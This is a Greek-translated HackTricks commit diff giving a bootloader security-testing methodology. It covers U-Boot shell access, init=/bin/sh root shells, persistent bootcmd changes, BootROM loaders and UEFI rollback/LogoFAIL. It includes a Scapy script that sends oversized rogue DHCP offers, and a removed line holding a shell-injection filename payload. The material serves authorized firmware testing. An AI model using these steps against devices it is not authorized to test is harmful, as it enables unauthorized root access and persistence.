mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/hardware-physical-access/firmware-analysis/bootload
This commit is contained in:
parent
88d48a2565
commit
9d2e6cecc1
@ -1,52 +1,126 @@
|
|||||||
|
# Δοκιμές bootloader
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Τα παρακάτω βήματα συνιστώνται για την τροποποίηση των ρυθμίσεων εκκίνησης συσκευών και των bootloaders όπως το U-boot:
|
Τα παρακάτω βήματα προτείνονται για την τροποποίηση ρυθμίσεων εκκίνησης συσκευής και τον έλεγχο bootloaders όπως U-Boot και UEFI-class loaders. Επικεντρωθείτε στην απόκτηση πρώιμης εκτέλεσης κώδικα, στην αξιολόγηση των προστασιών υπογραφής/rollback, και στην κατάχρηση διαδρομών ανάκτησης ή network-boot.
|
||||||
|
|
||||||
1. **Πρόσβαση στο Shell του Interpreter του Bootloader**:
|
## U-Boot quick wins and environment abuse
|
||||||
|
|
||||||
- Κατά την εκκίνηση, πατήστε "0", space ή άλλους αναγνωρισμένους "μαγικούς κωδικούς" για να αποκτήσετε πρόσβαση στο shell του interpreter του bootloader.
|
1. Πρόσβαση στο interpreter shell
|
||||||
|
- Κατά την εκκίνηση, πατήστε ένα γνωστό πλήκτρο διακοπής (συχνά οποιοδήποτε πλήκτρο, 0, space, ή μια πλατφόρμα-ειδική "magic" ακολουθία) πριν εκτελεστεί το `bootcmd` για να μεταβείτε στο prompt του U-Boot.
|
||||||
|
|
||||||
2. **Τροποποίηση των Boot Arguments**:
|
2. Επιθεώρηση κατάστασης εκκίνησης και μεταβλητών
|
||||||
|
- Χρήσιμα commands:
|
||||||
|
- `printenv` (dump environment)
|
||||||
|
- `bdinfo` (board info, memory addresses)
|
||||||
|
- `help bootm; help booti; help bootz` (supported kernel boot methods)
|
||||||
|
- `help ext4load; help fatload; help tftpboot` (available loaders)
|
||||||
|
|
||||||
- Εκτελέστε τις παρακάτω εντολές για να προσθέσετε '`init=/bin/sh`' στα boot arguments, επιτρέποντας την εκτέλεση μιας εντολής shell:
|
3. Τροποποίηση boot arguments για root shell
|
||||||
%%%
|
- Προσθέστε `init=/bin/sh` ώστε ο kernel να πέσει σε shell αντί για το κανονικό init:
|
||||||
|
```
|
||||||
# printenv
|
# printenv
|
||||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
|
||||||
# saveenv
|
# saveenv
|
||||||
#boot
|
# boot # or: run bootcmd
|
||||||
%%%
|
```
|
||||||
|
|
||||||
3. **Ρύθμιση TFTP Server**:
|
4. Netboot από τον TFTP server σας
|
||||||
|
- Διαμορφώστε το δίκτυο και φέρετε ένα kernel/fit image από το LAN:
|
||||||
|
```
|
||||||
|
# setenv ipaddr 192.168.2.2 # device IP
|
||||||
|
# setenv serverip 192.168.2.1 # TFTP server IP
|
||||||
|
# saveenv; reset
|
||||||
|
# ping ${serverip}
|
||||||
|
# tftpboot ${loadaddr} zImage # kernel
|
||||||
|
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
|
||||||
|
# setenv bootargs "${bootargs} init=/bin/sh"
|
||||||
|
# booti ${loadaddr} - ${fdt_addr_r}
|
||||||
|
```
|
||||||
|
|
||||||
- Ρυθμίστε έναν TFTP server για να φορτώσετε εικόνες μέσω τοπικού δικτύου:
|
5. Επίμονη αλλαγή μέσω environment
|
||||||
%%%
|
- Αν ο χώρος αποθήκευσης env δεν είναι write-protected, μπορείτε να αποθηκεύσετε τον έλεγχο:
|
||||||
#setenv ipaddr 192.168.2.2 #τοπική IP της συσκευής
|
```
|
||||||
#setenv serverip 192.168.2.1 #IP του TFTP server
|
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
|
||||||
# saveenv
|
# saveenv
|
||||||
#reset
|
```
|
||||||
#ping 192.168.2.1 #έλεγχος πρόσβασης στο δίκτυο
|
- Ελέγξτε για μεταβλητές όπως `bootcount`, `bootlimit`, `altbootcmd`, `boot_targets` που επηρεάζουν fallback paths. Λανθασμένες τιμές μπορούν να παρέχουν επαναλαμβανόμενες εισόδους στο shell.
|
||||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr παίρνει τη διεύθυνση για να φορτώσει το αρχείο και το όνομα του αρχείου στην TFTP server
|
|
||||||
%%%
|
|
||||||
|
|
||||||
4. **Χρήση του `ubootwrite.py`**:
|
6. Έλεγχος debug/unsafe λειτουργιών
|
||||||
|
- Ψάξτε για: `bootdelay` > 0, `autoboot` απενεργοποιημένο, ανεξέλεγκτο `usb start; fatload usb 0:1 ...`, δυνατότητα `loady`/`loads` μέσω serial, `env import` από μη αξιόπιστα μέσα, και kernels/ramdisks φορτωμένα χωρίς έλεγχο υπογραφών.
|
||||||
|
|
||||||
- Χρησιμοποιήστε το `ubootwrite.py` για να γράψετε την εικόνα U-boot και να σπρώξετε ένα τροποποιημένο firmware για να αποκτήσετε πρόσβαση root.
|
7. U-Boot image/verification testing
|
||||||
|
- Αν η πλατφόρμα δηλώνει secure/verified boot με FIT images, δοκιμάστε τόσο unsigned όσο και τροποποιημένα images:
|
||||||
|
```
|
||||||
|
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced
|
||||||
|
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
|
||||||
|
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted
|
||||||
|
```
|
||||||
|
- Η απουσία `CONFIG_FIT_SIGNATURE`/`CONFIG_(SPL_)FIT_SIGNATURE` ή η legacy συμπεριφορά `verify=n` συχνά επιτρέπει το boot arbitrary payloads.
|
||||||
|
|
||||||
5. **Έλεγχος Λειτουργιών Debug**:
|
## Network-boot surface (DHCP/PXE) and rogue servers
|
||||||
|
|
||||||
- Ελέγξτε αν οι λειτουργίες debug όπως η λεπτομερής καταγραφή, η φόρτωση αυθαίρετων πυρήνων ή η εκκίνηση από μη αξιόπιστες πηγές είναι ενεργοποιημένες.
|
8. PXE/DHCP parameter fuzzing
|
||||||
|
- Η legacy BOOTP/DHCP υλοποίηση του U-Boot είχε ζητήματα ασφάλειας μνήμης. Για παράδειγμα, το CVE‑2024‑42040 περιγράφει memory disclosure μέσω crafted DHCP responses που μπορούν να leak bytes από τη μνήμη του U-Boot πίσω στο δίκτυο. Δοκιμάστε τις DHCP/PXE διαδρομές με υπερβολικά μεγάλες/edge-case τιμές (option 67 bootfile-name, vendor options, file/servername fields) και παρατηρήστε για hangs/leaks.
|
||||||
|
- Minimal Scapy snippet to stress boot parameters during netboot:
|
||||||
|
```python
|
||||||
|
from scapy.all import *
|
||||||
|
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
|
||||||
|
IP(src='192.168.2.1', dst='255.255.255.255')/
|
||||||
|
UDP(sport=67, dport=68)/
|
||||||
|
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
|
||||||
|
DHCP(options=[('message-type','offer'),
|
||||||
|
('server_id','192.168.2.1'),
|
||||||
|
# Intentionally oversized and strange values
|
||||||
|
('bootfile_name','A'*300),
|
||||||
|
('vendor_class_id','B'*240),
|
||||||
|
'end']))
|
||||||
|
sendp(offer, iface='eth0', loop=1, inter=0.2)
|
||||||
|
```
|
||||||
|
- Επίσης επιβεβαιώστε αν τα PXE filename fields περάγονται στη shell/loader λογική χωρίς sanitization όταν συνδέονται σε OS-side provisioning scripts.
|
||||||
|
|
||||||
6. **Προσοχή σε Υλικοτεχνικές Παρεμβολές**:
|
9. Rogue DHCP server command injection testing
|
||||||
|
- Στήστε ένα rogue DHCP/PXE service και δοκιμάστε την έγχυση χαρακτήρων σε filename ή options fields για να φτάσετε σε command interpreters σε μεταγενέστερα στάδια της αλυσίδας εκκίνησης. Το Metasploit’s DHCP auxiliary, `dnsmasq`, ή custom Scapy scripts δουλεύουν καλά. Διασφαλίστε ότι απομονώνετε πρώτα το lab network.
|
||||||
|
|
||||||
- Να είστε προσεκτικοί όταν συνδέετε ένα ακίδα στο έδαφος και αλληλεπιδράτε με SPI ή NAND flash chips κατά τη διάρκεια της διαδικασίας εκκίνησης της συσκευής, ιδιαίτερα πριν αποσυμπιεστεί ο πυρήνας. Συμβουλευτείτε το datasheet του NAND flash chip πριν βραχυκυκλώσετε ακίδες.
|
## SoC ROM recovery modes that override normal boot
|
||||||
|
|
||||||
7. **Ρύθμιση Rogue DHCP Server**:
|
Πολλά SoC εκθέτουν έναν BootROM "loader" mode που θα δεχτεί κώδικα πάνω από USB/UART ακόμη και όταν τα flash images είναι μη έγκυρα. Αν τα secure-boot fuses δεν έχουν καεί, αυτό μπορεί να παρέχει arbitrary code execution πολύ νωρίς στην αλυσίδα.
|
||||||
- Ρυθμίστε έναν rogue DHCP server με κακόβουλες παραμέτρους για να τις καταναλώσει η συσκευή κατά την εκκίνηση PXE. Χρησιμοποιήστε εργαλεία όπως το DHCP auxiliary server του Metasploit (MSF). Τροποποιήστε την παράμετρο 'FILENAME' με εντολές injection όπως `'a";/bin/sh;#'` για να δοκιμάσετε την επικύρωση εισόδου για τις διαδικασίες εκκίνησης της συσκευής.
|
|
||||||
|
|
||||||
**Σημείωση**: Τα βήματα που περιλαμβάνουν φυσική αλληλεπίδραση με τις ακίδες της συσκευής (\*σημειωμένα με αστερίσκους) θα πρέπει να προσεγγίζονται με εξαιρετική προσοχή για να αποφευχθεί η ζημιά στη συσκευή.
|
- NXP i.MX (Serial Download Mode)
|
||||||
|
- Tools: `uuu` (mfgtools3) or `imx-usb-loader`.
|
||||||
|
- Example: `imx-usb-loader u-boot.imx` to push and run a custom U-Boot from RAM.
|
||||||
|
- Allwinner (FEL)
|
||||||
|
- Tool: `sunxi-fel`.
|
||||||
|
- Example: `sunxi-fel -v uboot u-boot-sunxi-with-spl.bin` or `sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000`.
|
||||||
|
- Rockchip (MaskROM)
|
||||||
|
- Tool: `rkdeveloptool`.
|
||||||
|
- Example: `rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin` to stage a loader and upload a custom U-Boot.
|
||||||
|
|
||||||
|
Αξιολογήστε αν η συσκευή έχει secure-boot eFuses/OTP καμένες. Αν όχι, τα BootROM download modes συχνά παρακάμπτουν οποιοδήποτε υψηλότερου επιπέδου verification (U-Boot, kernel, rootfs) εκτελώντας το first-stage payload απευθείας από SRAM/DRAM.
|
||||||
|
|
||||||
|
## UEFI/PC-class bootloaders: quick checks
|
||||||
|
|
||||||
|
10. ESP tampering and rollback testing
|
||||||
|
- Mount the EFI System Partition (ESP) και ελέγξτε για loader components: `EFI/Microsoft/Boot/bootmgfw.efi`, `EFI/BOOT/BOOTX64.efi`, `EFI/ubuntu/shimx64.efi`, `grubx64.efi`, vendor logo paths.
|
||||||
|
- Προσπαθήστε να κάνετε boot με downgraded ή γνωστά-ευάλωτα signed boot components αν τα Secure Boot revocations (dbx) δεν είναι ενημερωμένα. Αν η πλατφόρμα εξακολουθεί να εμπιστεύεται παλιά shims/bootmanagers, συχνά μπορείτε να φορτώσετε τον δικό σας kernel ή `grub.cfg` από το ESP για να αποκτήσετε επίμονη πρόσβαση.
|
||||||
|
|
||||||
|
11. Boot logo parsing bugs (LogoFAIL class)
|
||||||
|
- Πολλά OEM/IBV firmwares ήταν ευάλωτα σε image-parsing flaws στο DXE που επεξεργάζονται boot logos. Αν ένας επιτιθέμενος μπορεί να τοποθετήσει μια crafted εικόνα στο ESP κάτω από ένα vendor-specific path (π.χ., `\EFI\<vendor>\logo\*.bmp`) και να κάνει reboot, η εκτέλεση κώδικα κατά την πρώιμη εκκίνηση μπορεί να είναι δυνατή ακόμη και με Secure Boot ενεργό. Δοκιμάστε αν η πλατφόρμα δέχεται user-supplied logos και αν αυτοί οι φάκελοι είναι εγγράψιμοι από το OS.
|
||||||
|
|
||||||
|
## Hardware caution
|
||||||
|
|
||||||
|
Να είστε προσεκτικοί όταν αλληλεπιδράτε με SPI/NAND flash κατά την πρώιμη εκκίνηση (π.χ., γειώνοντας pins για να παρακάμψετε reads) και πάντα συμβουλευτείτε το flash datasheet. Λανθασμένα timed shorts μπορούν να καταστρέψουν τη συσκευή ή τον programmer.
|
||||||
|
|
||||||
|
## Σημειώσεις και επιπλέον συμβουλές
|
||||||
|
|
||||||
|
- Δοκιμάστε `env export -t ${loadaddr}` και `env import -t ${loadaddr}` για να μεταφέρετε environment blobs μεταξύ RAM και storage; μερικές πλατφόρμες επιτρέπουν import env από αφαιρούμενα μέσα χωρίς authentication.
|
||||||
|
- Για persistence σε Linux-based συστήματα που κάνουν boot μέσω `extlinux.conf`, η τροποποίηση της γραμμής `APPEND` (για εισαγωγή `init=/bin/sh` ή `rd.break`) στο boot partition συχνά αρκεί όταν δεν υπάρχουν έλεγχοι υπογραφών.
|
||||||
|
- Αν το userland παρέχει `fw_printenv/fw_setenv`, επαληθεύστε ότι το `/etc/fw_env.config` ταιριάζει με τον πραγματικό χώρο env. Λανθασμένες offsets σας επιτρέπουν να διαβάσετε/γράψετε την λάθος MTD περιοχή.
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
- [https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot](https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot)
|
||||||
|
- [https://nvd.nist.gov/vuln/detail/CVE-2024-42040](https://nvd.nist.gov/vuln/detail/CVE-2024-42040)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user